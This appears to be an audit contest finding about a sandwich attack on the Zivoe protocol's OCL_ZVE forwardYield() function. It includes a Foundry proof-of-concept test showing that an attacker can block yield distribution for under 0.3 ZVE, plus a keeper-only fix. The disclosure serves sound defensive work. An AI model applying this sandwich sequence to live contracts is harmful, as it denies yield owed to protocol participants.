Glorious Midnight Snake

medium

# The yield rewards obtained though `OCL_ZVE` could be prevented from being distributed

## Summary
[`OCL_ZVE#forwardYield()`](https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/lockers/OCL/OCL_ZVE.sol#L287-L305) could be vulnerable to sandwich attacks, potentially preventing the distribution of yield rewards.
## Vulnerability Detail
The governance of the Zivoe protocol can deploy their capital into Uniswap/Sushi for yield rewards through `OCL_ZVE`.
The yield reward generated in `OCL_ZVE` will be distributed once every 30 days by calling `OCL_ZVE#forwardYield()`.
```solidity
    function forwardYield() external {
        if (IZivoeGlobals_OCL_ZVE(GBL).isKeeper(_msgSender())) {
            require(
                block.timestamp > nextYieldDistribution - 12 hours, 
                "OCL_ZVE::forwardYield() block.timestamp <= nextYieldDistribution - 12 hours"
            );
        }
        else {
            require(
                block.timestamp > nextYieldDistribution, 
                "OCL_ZVE::forwardYield() block.timestamp <= nextYieldDistribution"
            );
        }

@>      (uint256 amount, uint256 lp) = fetchBasis();
@>      if (amount > basis) { _forwardYield(amount, lp); }
        (basis,) = fetchBasis();
        nextYieldDistribution += 30 days;
    }
```
- `basis` is used to track the total amount of `pairAsset` deposited into `$ZVE/pairAsset` pool.
- `amount` is the current amount of `pairAsset` that `OCL_ZVE` can redeem with all their lp tokens.
- The yield reward can only be distributed through `_forwardYield(amount, lp)` when `amount` > `basis`

As we can see, a malicious user can execute a sandwich attack on `OCL_ZVE#forwardYield()`, potentially causing `_forwardYield()` to be skipped.

Copy below codes into [`Test_OCL_ZVE.sol`](https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-testing/src/TESTS_Lockers/Test_OCL_ZVE.sol) and run `forge test --rpc-url RPC-URL --match-test test_OCL_ZVE_SUSHI_forwardYield_no_reward`:
```solidity
    function test_OCL_ZVE_SUSHI_forwardYield_no_reward() public {
        mint("DAI", address(this), 100e18);
        ZVE.approve(OCL_ZVE_SUSHI_DAI.router(), 100e18);
        IERC20(DAI).approve(OCL_ZVE_SUSHI_DAI.router(), 100e18);
        //@audit-info Add liquidity for DAI-ZVE pool 
        IUniswapV2Router01(OCL_ZVE_SUSHI_DAI.router()).addLiquidity(DAI, address(ZVE), 100e18, 100e18, 100e18, 100e18, address(this), block.timestamp);

        address[] memory assets = new address[](2);
        assets[0] = DAI;
        assets[1] = address(ZVE);
        uint256[] memory amounts = new uint256[](2);
        amounts[0] = amounts[1] = 100e18;
        //@audit-info DAO add liquidity for DAI-ZVE pool 
        assert(god.try_pushMulti(address(DAO), address(OCL_ZVE_SUSHI_DAI), assets, amounts, new bytes[](2)));
        address lpToken = ISushiFactory(OCL_ZVE_SUSHI_DAI.factory()).getPair(DAI, address(ZVE));
        uint256 preLpAmount = IERC20(lpToken).balanceOf(address(OCL_ZVE_SUSHI_DAI));
        //@audit-info swap DAI for ZVE
        buyZVE_Sushi(100e18, DAI);
        hevm.warp(OCL_ZVE_SUSHI_DAI.nextYieldDistribution() + 1 seconds);
        (uint amount, ) = OCL_ZVE_SUSHI_DAI.fetchBasis();
        uint basis = OCL_ZVE_SUSHI_DAI.basis();
        //@audit-info 50e18 of DAI can be distributed now
        assert(amount == 150e18);
        assert(basis  == 100e18);
        uint preBalanceZVE = ZVE.balanceOf(address(this));
        uint preBalanceDAI = IERC20(DAI).balanceOf(address(this));
        //@audit-info attacker sell $ZVE for DAI before forwardYield()
        sellZVE_Sushi(67e18, DAI);
        OCL_ZVE_SUSHI_DAI.forwardYield();
        uint postBalanceDAI = IERC20(DAI).balanceOf(address(this));
        //@audit-info attacker buy $ZVE with previous received DAI after forwardYield()
        buyZVE_Sushi(postBalanceDAI-preBalanceDAI, DAI);
        uint postBalanceZVE = ZVE.balanceOf(address(this));
        uint postLpAmount = IERC20(lpToken).balanceOf(address(OCL_ZVE_SUSHI_DAI));
        //@audit-info the amount of lp in OCL_ZVE_SUSHI_DAI doesn't change, none of DAI was distributed
        assert(postLpAmount == preLpAmount);
        //@audit-info it only cost the attacker no more than 0.3 $ZVE
        assert(preBalanceZVE - postBalanceZVE < 0.3e18);
    }
```
As we can see, In the above scenario, it only cost the attacker no more than 0.3 $ZVE to prevent 50 DAI from being distributed, which could be mistakenly returned to the DAO in the future, or can not be distributed until next distribution time.
## Impact
 The yield rewards obtained though `OCL_ZVE` can be prevented from distribution.
## Code Snippet
https://github.com/sherlock-audit/2024-03-zivoe/blob/main/zivoe-core-foundry/src/lockers/OCL/OCL_ZVE.sol#L287-L305
## Tool used

Manual Review

## Recommendation
Only keepers can access `OCL_ZVE#forwardYield()` since they will submit transactions via flashbots:
```diff
    function forwardYield() external {
+       require(
+           IZivoeGlobals_OCL_ZVE(GBL).isKeeper(_msgSender()),
+           "!IZivoeGlobals_OCL_ZVE(GBL).isKeeper(_msgSender())"
+       );
+       require(
+           block.timestamp > nextYieldDistribution - 12 hours, 
+           "OCL_ZVE::forwardYield() block.timestamp <= nextYieldDistribution - 12 hours"
+       );
-       if (IZivoeGlobals_OCL_ZVE(GBL).isKeeper(_msgSender())) {
-           require(
-               block.timestamp > nextYieldDistribution - 12 hours, 
-               "OCL_ZVE::forwardYield() block.timestamp <= nextYieldDistribution - 12 hours"
-           );
-       }
-       else {
-           require(
-               block.timestamp > nextYieldDistribution, 
-               "OCL_ZVE::forwardYield() block.timestamp <= nextYieldDistribution"
-           );
-       }

        (uint256 amount, uint256 lp) = fetchBasis();
        if (amount > basis) { _forwardYield(amount, lp); }
        (basis,) = fetchBasis();
        nextYieldDistribution += 30 days;
    }
```